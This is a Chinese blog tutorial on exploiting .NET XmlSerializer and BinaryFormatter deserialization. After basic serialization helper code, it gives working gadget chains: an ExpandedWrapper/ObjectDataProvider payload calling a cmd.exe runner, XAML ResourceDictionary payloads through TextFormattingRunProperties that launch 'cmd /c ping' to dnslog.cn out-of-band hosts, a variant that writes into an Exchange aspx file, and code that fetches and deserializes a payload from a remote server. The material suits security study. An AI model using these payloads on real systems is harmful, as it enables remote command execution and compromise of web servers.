zoukankan      html  css  js  c++  java
  • asp.net学习--XmlSerializer反序列化漏洞

    asp.net学习--XmlSerializer反序列化漏洞

    .NET 框架中 System.Xml.Serialization 命名空间下的XmlSerializer类可以将 XML 文档绑定到 .NET 类的实例,有一点需要注意它只能把对象的公共属性和公共字段转换为XML元素或属性

    我们先来看看Serialize() 和Deserialize()

    这是我们获取普通xml值的方法

    <?xml version="1.0" encoding="utf-8" ?>
    <root>
    <test value="test"/>
    <price value="50"/>
    </root>
    

     

            XElement xe = XElement.Load("C:\inetpub\wwwroot\xml.xml");//加载指定路径的xml文件
            string test= xe.Element("test").Attribute("value").Value;//根据指定的元素和属性获取该属性的值
            string price= xe.Element("price").Attribute("value").Value;
            Response.Write("test="+test+"
    ");
            Response.Write(price);
    

    然后和序列化和反序列化对比就很清楚了,首先我们需要定义一个类型

    public class Mytestxml
    {
        public string Ivale { get;set }
        public string Svalue { get;set }
    }
    

     然后我们-->实列化它再-->序列化化它再-->反序列化

            Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"};
            string xml = XmlHelper.XmlSerialize(r, Encoding.UTF8);
            Response.Write(xml);
            Mytestxml d= new Mytestxml {Ivale="hello",Svalue="world"};
            Response.Write(d.Ivale);
            Response.Write(d.Svalue);
    

     

     以下是helper类代码

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Xml.Serialization;
    using System.IO;
    using System.Xml;
    
    
    namespace Xmlgit
    {
        public static class XmlHelper
        {
            private static void XmlSerializeInternal(Stream stream, object o, Encoding encoding)
            {
                if (o == null)
                    throw new ArgumentNullException("o");
                if (encoding == null)
                    throw new ArgumentNullException("encoding");
    
                XmlSerializer serializer = new XmlSerializer(o.GetType());
    
                XmlWriterSettings settings = new XmlWriterSettings();
                settings.Indent = true;
                settings.NewLineChars = "
    ";
                settings.Encoding = encoding;
                settings.IndentChars = "    ";
    
                using (XmlWriter writer = XmlWriter.Create(stream, settings))
                {
                    serializer.Serialize(writer, o);
                    writer.Close();
                }
            }
    
            /// <summary>
            /// 将一个对象序列化为XML字符串
            /// </summary>
            /// <param name="o">要序列化的对象</param>
            /// <param name="encoding">编码方式</param>
            /// <returns>序列化产生的XML字符串</returns>
            public static string XmlSerialize(object o, Encoding encoding)
            {
                using (MemoryStream stream = new MemoryStream())
                {
                    XmlSerializeInternal(stream, o, encoding);
    
                    stream.Position = 0;
                    using (StreamReader reader = new StreamReader(stream, encoding))
                    {
                        return reader.ReadToEnd();
                    }
                }
            }
    
            /// <summary>
            /// 将一个对象按XML序列化的方式写入到一个文件
            /// </summary>
            /// <param name="o">要序列化的对象</param>
            /// <param name="path">保存文件路径</param>
            /// <param name="encoding">编码方式</param>
            public static void XmlSerializeToFile(object o, string path, Encoding encoding)
            {
                if (string.IsNullOrEmpty(path))
                    throw new ArgumentNullException("path");
    
                using (FileStream file = new FileStream(path, FileMode.Create, FileAccess.Write))
                {
                    XmlSerializeInternal(file, o, encoding);
                }
            }
    
            /// <summary>
            /// 从XML字符串中反序列化对象
            /// </summary>
            /// <typeparam name="T">结果对象类型</typeparam>
            /// <param name="s">包含对象的XML字符串</param>
            /// <param name="encoding">编码方式</param>
            /// <returns>反序列化得到的对象</returns>
            public static T XmlDeserialize<T>(string s, Encoding encoding)
            {
                if (string.IsNullOrEmpty(s))
                    throw new ArgumentNullException("s");
                if (encoding == null)
                    throw new ArgumentNullException("encoding");
    
                XmlSerializer mySerializer = new XmlSerializer(typeof(T));
                using (MemoryStream ms = new MemoryStream(encoding.GetBytes(s)))
                {
                    using (StreamReader sr = new StreamReader(ms, encoding))
                    {
                        return (T)mySerializer.Deserialize(sr);
                    }
                }
            }
    
            /// <summary>
            /// 读入一个文件,并按XML的方式反序列化对象。
            /// </summary>
            /// <typeparam name="T">结果对象类型</typeparam>
            /// <param name="path">文件路径</param>
            /// <param name="encoding">编码方式</param>
            /// <returns>反序列化得到的对象</returns>
            public static T XmlDeserializeFromFile<T>(string path, Encoding encoding)
            {
                if (string.IsNullOrEmpty(path))
                    throw new ArgumentNullException("path");
                if (encoding == null)
                    throw new ArgumentNullException("encoding");
    
                string xml = File.ReadAllText(path, encoding);
                return XmlDeserialize<T>(xml, encoding);
            }
        }
    }
    

     好了现在简单的理解了xml序列化与反序列我们来直接调用

    new System.Xml.Serialization.XmlSerializer

            Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"};
            FileStream file=File.OpenWrite(@"C:\inetpub\wwwroot\xml2.xml");
            TextWriter wp =new StreamWriter(file);
            System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml));
            xml.Serialize(wp,r);
            wp.Close();
    

     

     反序列化

            Mytestxml r= new Mytestxml { Ivale="",Svalue=""};
            var file=new FileStream(@"C:\inetpub\wwwroot\xml2.xml",FileMode.Open);
            System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml));
            r = xml.Deserialize(file) as Mytestxml;
            Response.Write(r.Ivale);
    

     

     生成exp

                ExpandedWrapper<Mytestxml, ObjectDataProvider> eobj = new ExpandedWrapper<Mytestxml,ObjectDataProvider>();
                XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<Mytestxml, ObjectDataProvider>));
                eobj.ProjectedProperty0 = new System.Windows.Data.ObjectDataProvider();
                eobj.ProjectedProperty0.ObjectInstance = new Mytestxml();
                eobj.ProjectedProperty0.MethodName = "Clac";
                eobj.ProjectedProperty0.MethodParameters.Add("clac.exe");
                TextWriter fo = new StreamWriter("C:\inetpub\wwwroot\xml3.xml");
                serializer.Serialize(fo, eobj);
                fo.Close();

    生成的xml

    <?xml version="1.0" encoding="utf-8"?>
    <ExpandedWrapperOfMytestxmlObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ProjectedProperty0>
        <ObjectInstance xsi:type="Mytestxml" />
        <MethodName>Clac</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">ping 75pc01.dnslog.cn</anyType>
        </MethodParameters>
      </ProjectedProperty0>
    </ExpandedWrapperOfMytestxmlObjectDataProvider>
    

    这里附带我的有危害的类

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Xml.Serialization;
    using System.IO;
    using System.Xml;
    using System.Data;
    using System.Runtime.InteropServices;
    using System.Runtime.InteropServices;
    using System.Diagnostics;
    using System.Web;
    
    /// <summary>
    /// Summary description for Class1
    /// </summary>
    namespace Mytestxml
    {
        public class Mytestxml
        {
            public string Ivale { get; set; }
            public string Svalue { get; set; }
            public static void Clac(string exec)
            {
                string item = exec;
                Process p = new Process();
                p.StartInfo.FileName = "c:\windows\system32\cmd.exe"; //防止未加入环境变量用绝对路径
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardInput = true;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.StartInfo.CreateNoWindow = true;
                string strOutput = null;
                p.Start();
                p.StandardInput.WriteLine(item);//传入命令参数
                p.StandardInput.WriteLine("exit");
                strOutput = p.StandardOutput.ReadToEnd();
                p.WaitForExit();
                p.Close();
                p.Dispose();
            }
        }
    }
    

    调用exp

                XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper<Mytestxml, ObjectDataProvider>));
                TextReader fi = new StreamReader("C:\inetpub\wwwroot\xml3.xml");
                ser.Deserialize(fi);
                fi.Close();
    

     这里由于有漏洞的函数是我自己进去的,如果再目标环境里面想去看对方net源码除非你是秀儿这里我们继续来看能不能把exp多元化

    ResourceDictionary

    Black Hat 2017提出的思考

    https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282

    利用Deserialize输入可控和ResourceDictionary造成任意命令执行

     using System;
    using System.IO;
    using System.Runtime.Serialization;
    using System.Runtime.Serialization.Formatters.Binary;

    namespace TestProject
    {
    class Program
    {
    [Serializable]
    public class XamlSerialMarshal : ISerializable
    {
    string _xaml;
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
    Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
    info.SetType(t);
    info.AddValue("ForegroundBrush", _xaml);
    }
    public XamlSerialMarshal(string xaml)
    {
    _xaml = xaml;
    }
    }

    static void Main(string[] args)
    {

    string payload = @"<ResourceDictionary
    xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
    xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
    xmlns:System=""clr-namespace:System;assembly=mscorlib""
    xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
    <ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" >
    <ObjectDataProvider.MethodParameters>
    <System:String>cmd</System:String>
    <System:String>/c ping 0v4kty.dnslog.cn</System:String>
    </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    </ResourceDictionary>";

    Object obj = new XamlSerialMarshal(payload);
    BinaryFormatter fmt = new BinaryFormatter();
    MemoryStream ms = new MemoryStream();
    fmt.Serialize(ms, obj);
    ms.Position = 0;
    fmt.Deserialize(ms);
    }
    }
    }

    我们来测试一下构造exp

    <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    					xmlns:System="clr-namespace:System;assembly=mscorlib"
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    	<ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" >
    		<ObjectDataProvider.MethodParameters>
    			<System:String>cmd.exe</System:String>
    			<System:String>/c ping qwv894.dnslog.cn</System:String>
    		</ObjectDataProvider.MethodParameters>
    	</ObjectDataProvider>
    </ResourceDictionary>
    

     这个exp是放在服务器然后本地请求获取

     
    
            Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"};
            FileStream file=File.OpenWrite(@"C:\inetpub\wwwroot\xml2.xml");
            TextWriter wp =new StreamWriter(file);
            System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml));
            xml.Serialize(wp,r);
            wp.Close();
    

     这里参考zcgonvh师傅的构造法优化exp这里是调用Environment.GetEnvironmentVariable获取Exchange的安装路径我们也可以用获取普通web的路径AppDomain.CurrentDomain.BaseDirectory

    <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
        xmlns:s="clr-namespace:System;assembly=mscorlib"
        xmlns:w="clr-namespace:System.Web;assembly=System.Web">
      <s:String x:Key="a" x:FactoryMethod="s:Environment.CurrentDirectory" x:Arguments=""/>
      <s:String x:Key="b" x:FactoryMethod="Concat">
        <x:Arguments>
          <StaticResource ResourceKey="a"/>
          <s:String>ClientAccessecpLiveIdError.aspx</s:String>
        </x:Arguments>
      </s:String>
      <ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText">
        <ObjectDataProvider.MethodParameters>
          <StaticResource ResourceKey="b"/>
          <s:String>test</s:String>
        </ObjectDataProvider.MethodParameters>
      </ObjectDataProvider>
      <ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/>
      <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/>
      <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/>
    </ResourceDictionary>
    

     等同于

    string a=AppDomain.CurrentDomain.BaseDirectory("");
    string b=string.Concat(a,"ClientAccessecpLiveIdError.aspx");
    File.AppendAllText(b,"tes");
    HttpContext.Current.Response.End();
    

     然后我们本地加载远程服务器的xml

    <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:System="clr-namespace:System;assembly=mscorlib"
        xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    	<ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
    		<ObjectDataProvider.MethodParameters>
    			<System:String>cmd</System:String>
    			<System:String>"/c clac.exe"</System:String>
    		</ObjectDataProvider.MethodParameters>
    	</ObjectDataProvider>
    </ResourceDictionary>
    
                    [Serializable]
    public class XamlSerialMarshal : ISerializable
    {
    string _xaml;
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
    Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
    info.SetType(t);
    info.AddValue("ForegroundBrush", _xaml);
    }
    public XamlSerialMarshal(string xaml)
    {
    _xaml = xaml;
    }
    }
    WebRequest myRequest = WebRequest.Create(@"http://192.168.1.103/xmlok.xml"); WebResponse response = myRequest.GetResponse(); Stream resStream = response.GetResponseStream(); StreamReader sr = new StreamReader(resStream, System.Text.Encoding.Default); var payload=sr.ReadToEnd(); resStream.Close(); sr.Close(); //使用一个XmlDocument对象rssDoc来存储流中的XML内容。XmlDocument对象用来调入XML的内容 //XmlDocument doc = new XmlDocument(); //doc.Load(stream); Object obj = new XamlSerialMarshal(payload); BinaryFormatter fmt = new BinaryFormatter(); MemoryStream ms = new MemoryStream(); fmt.Serialize(ms, obj); ms.Position = 0; fmt.Deserialize(ms);

     

     参考

    https://scriptboy.cn/p/make_dotnet_deserialize_for_xaml/
    https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282
    https://www.freebuf.com/author/%E4%BA%91%E5%BD%B1%E5%AE%9E%E9%AA%8C%E5%AE%A4?comment=1
    https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf#page=33
    https://docs.microsoft.com/en-us/dotnet/api/microsoft.visualstudio.text.formatting.textformattingrunproperties?view=visualstudiosdk-2019
    https://www.anquanke.com/post/id/199921
    https://4hou.win/wordpress/?p=36862
    https://github.com/pwntester/ysoserial.net/releases/tag/v1.34
  • 相关阅读:
    操作系统的安装与启动基本原理
    Arch linux安装
    18 个最佳代码编辑器/IDE推荐
    2011年排名前七位的Linux操作系统。
    十大流行linux
    Java中浮点型数据Float和Double进行精确计算的问题
    Inside JVM 内存模型
    java常见面试题及答案
    Java内存模型
    虚拟机性能监控与故障处理工具
  • 原文地址:https://www.cnblogs.com/-zhong/p/13904938.html
Copyright © 2011-2022 走看看